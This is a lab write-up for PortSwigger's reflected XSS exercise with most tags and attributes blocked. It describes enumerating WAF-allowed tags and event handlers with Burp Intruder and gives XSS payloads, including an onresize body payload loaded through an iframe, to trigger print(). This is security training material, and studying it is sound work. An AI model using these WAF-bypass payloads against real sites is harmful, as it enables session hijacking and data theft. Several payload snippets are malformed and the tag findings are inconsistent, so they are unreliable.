

Reflected XSS into HTML Context with Most Tags and Attributes Blocked

1. Lab Information

Information	Details
Platform	PortSwigger Web Security Academy
Lab Type	Reflected Cross-Site Scripting (XSS)
Difficulty	Practitioner
Vulnerability	Reflected XSS
Injection Context	HTML context
Protection	Web Application Firewall (WAF)
Main Challenge	Most HTML tags and attributes are blocked
Required Result	Execute <code>print()</code>
User Interaction	Not allowed
Main Technique	WAF bypass + HTML/event-handler enumeration

2. Tools Used

Burp Suite

Used for:

- Intercepting HTTP requests.
- Sending requests to Repeater.
- Testing different HTML tags.
- Testing different attributes.
- Automating enumeration with Intruder.
- Analyzing WAF responses.

Burp Repeater

Used during manual testing to quickly modify the `search` parameter and observe how the WAF responds.

Burp Intruder

Used to automate:

- HTML tag enumeration.
- Attribute enumeration.
- Event-handler enumeration.

This is much faster than testing every possibility manually.

Exploit Server

Used to host the final HTML exploit and deliver it to the victim.

The exploit server is important because the lab requires the XSS to execute **without user interaction**.

Browser

Used to:

- Verify the reflected input.
- Test the exploit.
- Confirm that `print()` executes.

3. Lab Objective

The application contains a **reflected XSS vulnerability** in the search functionality.

However, a Web Application Firewall (WAF) blocks most common XSS payloads.

The objective is to bypass the WAF and execute:

```
print()
```

The exploit must execute automatically without requiring the victim to click, hover, resize the browser manually, or perform any other action.

4. Find the Reflection

Start by using the search functionality.

For example:

```
/?search=ok
```

The value `ok` is reflected into the application's HTML response.

The basic flow is:

```
graph TD
    A[User input] --> B[search parameter]
    B --> C[Server response]
    C --> D[HTML page]
    D --> E[Browser]
```

Because user-controlled input is reflected into an HTML context, this indicates a potential **Reflected XSS** vulnerability.

5. Test HTML Injection

Try a simple HTML tag:

```
<h1>TEST</h1>
```

The application responds with:

```
Tag is not allowed
```

This indicates that the WAF is actively filtering HTML tags.

A traditional payload such as:

```
<script>alert(1)</script>
```

is also blocked.

Therefore, instead of relying on common XSS payloads, we need to discover which HTML syntax is still accepted.

6. Enumerate Allowed HTML Tags

Use **Burp Intruder** to test different HTML tags.

For example:

```
<$TAG$>
```

A wordlist containing HTML tags can be used.

The objective is to identify tags that do not produce:

```
Tag is not allowed
```

During testing, we discovered that:

```
<custom>
```

was accepted.

Therefore:

```
<custom>    → Allowed  
<h1>       → Blocked  
<script>    → Blocked
```

This demonstrates that the WAF is not blocking every possible HTML element.

7. Enumerate Allowed Attributes

Once an allowed tag has been identified, test different attributes.

For example:

```
<custom $ATTRIBUTE$=test>
```

Burp Intruder can be used to automate this process.

We discovered that:

```
<custom id=test>
```

was accepted.

However:

```
<custom onload=print(>
```

was blocked with:

```
Attribute is not allowed
```

Therefore, common event handlers are also being filtered.

8. Find an Allowed Event Handler

Continue enumerating event-handler attributes.

During testing, we found that:

```
<body onresize=1>
```

was accepted by the WAF.

This is an important discovery because `onresize` can execute JavaScript when a resize event occurs.

Conceptually:

```
<body onresize=print(>
```

results in:

```
Resize event
  ↓
onresize
  ↓
print()
```

However, there is still a problem.

The lab explicitly states that the exploit must not require user interaction.

Manually resizing the browser is therefore not a valid solution.

9. Use the Exploit Server

The Exploit Server allows us to host an HTML page that can be delivered to the victim.

The vulnerable lab URL is:

```
https://0a4300c3041517b680b0cbea00850008.web-security-academy.net/
```

We can embed the vulnerable application using an iframe:

```
<iframe src="LAB_URL"></iframe>
```

The XSS payload is supplied through the `search` parameter.

For example:

```
<body onresize=print(>
```

can be URL encoded as:

```
%3Cbody%20onresize%3Dprint()%3E
```

The resulting URL is:

```
https://0a4300c3041517b680b0cbea00850008.web-security-academy.net/?
search=%3Cbody%20onresize%3Dprint()%3E
```

The iframe therefore loads the vulnerable application with our injected input.

10. Automatic Execution

The important requirement is:

No user interaction

Therefore, simply having:

```
<body onresize=print(>
```

is insufficient if the resize event only occurs when the victim manually changes the browser size.

The exploit must create a situation where the relevant event is triggered automatically.

The general attack flow is:

```
Victim
  ↓
Exploit Server
  ↓
iframe
  ↓
Vulnerable application
  ↓
search parameter
  ↓
Reflected HTML
  ↓
Allowed HTML/event handler
  ↓
Automatic event
  ↓
print()
```

11. Why Common XSS Payloads Fail

`<script>`

```
<script>alert(1)</script>
```

Blocked because the WAF detects the `script` tag.

`<img onerror>`

```
<img src=x onerror=print(<!-- -->>
```

May be blocked because the WAF filters either the `img` tag or `onerror`.

`onclick`

```
<button onclick=print(<!-- -->>
```

Not suitable because it requires user interaction.

The victim would have to click the element.

`onresize`

```
<body onresize=print(<!-- -->>
```

Interesting because the WAF allows it, but it still requires an appropriate automatic resize trigger.

Therefore, the challenge is not simply finding an allowed attribute.

We need:

```
Allowed HTML tag
+
Allowed event handler
+
Automatic trigger
↓
print()
```


12. Burp Intruder Methodology

Intruder can be used in multiple stages.

Tag Enumeration

Payload position:

```
<$TAG$>
```

Goal:

```
Find tags that are not blocked.
```

Attribute Enumeration

Payload position:

```
<custom $ATTRIBUTE$=test>
```

Goal:

```
Find attributes accepted by the WAF.
```

Event Enumeration

Payload position:

```
<allowed-tag $EVENT$=print(>
```

Goal:

```
Find event handlers that:  
1. Are allowed by the WAF.  
2. Are supported by the browser.  
3. Can be triggered without user interaction.
```

This methodology is more reliable than randomly trying XSS payloads.

13. Impact

A successful Reflected XSS vulnerability can allow an attacker to execute arbitrary JavaScript in the context of the vulnerable website.

Depending on the application's security controls and the victim's privileges, the impact can include:

Account Actions

An attacker may be able to perform actions using the victim's authenticated session.

For example:

```
Change account settings
Modify user information
Perform privileged actions
```

Sensitive Data Access

JavaScript running in the application's origin may be able to access sensitive information available to that origin, subject to browser security controls.

Examples include:

```
Page contents
Application data
DOM information
Non-HttpOnly cookies
```

Phishing

The attacker may manipulate the page's DOM and display fake:

```
Login forms
Payment forms
Password prompts
```

to the victim.

Privilege Abuse

If the victim has administrative privileges, reflected XSS may potentially allow actions to be performed with those privileges.

For example:

```
Attacker
↓
XSS payload
↓
Administrator opens malicious URL
↓
JavaScript executes in application origin
↓
Privileged actions
```

Important Impact Consideration

The actual severity depends heavily on:

- Where the XSS occurs.
- Which users can be targeted.
- Whether authentication is required.
- Available application functionality.
- Cookie protections.
- CSP configuration.
- Victim privileges.

Therefore, XSS impact should always be assessed in the context of the affected application rather than assuming every XSS has the same severity.

14. Key Lessons

Reflected XSS

Reflected XSS occurs when attacker-controlled input is reflected into an application's response and interpreted as executable content by the browser.

WAF Bypass

A WAF may block common XSS signatures but does not necessarily understand every valid way that a browser can interpret HTML.

Therefore:

WAF blacklist
≠
Complete XSS protection

Browser Parsing

One of the most important concepts in this lab is the difference between:

WAF interpretation

and:

Browser interpretation

The WAF may reject obvious payloads while allowing another HTML representation that the browser still interprets in a dangerous way.

15. General Methodology

For similar WAF-protected XSS vulnerabilities:

1. Find reflection
↓
2. Identify injection context
↓
3. Test HTML injection
↓
4. Identify WAF behavior
↓
5. Enumerate allowed tags
↓

6. Enumerate allowed attributes
- ↓
7. Enumerate event handlers
- ↓
8. Find an automatic trigger
- ↓
9. Replace test JavaScript with print()
- ↓
10. Host the exploit
- ↓
11. Deliver it to the victim
- ↓
12. Verify execution

Final Takeaway

The main lesson of this lab is not a single XSS payload.

The important skill is learning how to systematically bypass restrictive input filtering:

```
Reflection
  ↓
HTML context
  ↓
WAF filtering
  ↓
Allowed tag
  ↓
Allowed attribute
  ↓
Allowed event
  ↓
Automatic execution
  ↓
print()
```

This approach can be reused when analyzing WAF-protected XSS vulnerabilities in authorized security testing environments.